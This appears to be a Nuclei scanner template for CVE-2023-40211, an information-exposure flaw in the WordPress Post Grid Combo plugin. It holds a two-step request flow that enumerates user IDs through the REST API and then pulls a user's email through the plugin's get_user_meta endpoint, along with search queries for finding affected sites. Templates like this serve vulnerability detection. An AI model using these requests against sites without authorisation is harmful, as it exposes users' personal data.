Post Grid <= 2.2.50 - Information Exposure via REST API

id: CVE-2023-40211

info:
  name: Post Grid <= 2.2.50 - Information Exposure via REST API
  author: daffainfo
  severity: high
  description: |
    Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PickPlugins Post Grid Combo – 36+ Gutenberg Blocks.This issue affects Post Grid Combo – 36+ Gutenberg Blocks: from n/a through 2.2.50.
  impact: |
    Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.
  remediation: |
    Update to the latest version beyond 2.2.50 or apply available security patches.
  reference:
    - https://patchstack.com/database/vulnerability/post-grid/wordpress-post-grid-combo-plugin-2-2-50-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://plugins.trac.wordpress.org/changeset/2947951/post-grid/trunk/src/functions-rest.php
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-40211
    epss-score: 0.02041
    epss-percentile: 0.7864
    cwe-id: CWE-200
    cpe: cpe:2.3:a:pickplugins:post_grid_combo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: pickplugins
    product: post_grid_combo
    framework: wordpress
    fofa-query: body="/wp-content/plugins/post-grid-combo/"
    publicwww-query: "/wp-content/plugins/post-grid-combo/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,pickplugins,post-grid,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: user_id
        internal: true
        json:
          - '.[0].id'

  - raw:
      - |
        POST /wp-json/post-grid/v2/get_user_meta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":{{user_id}},"meta_key":"email"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"email":'

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
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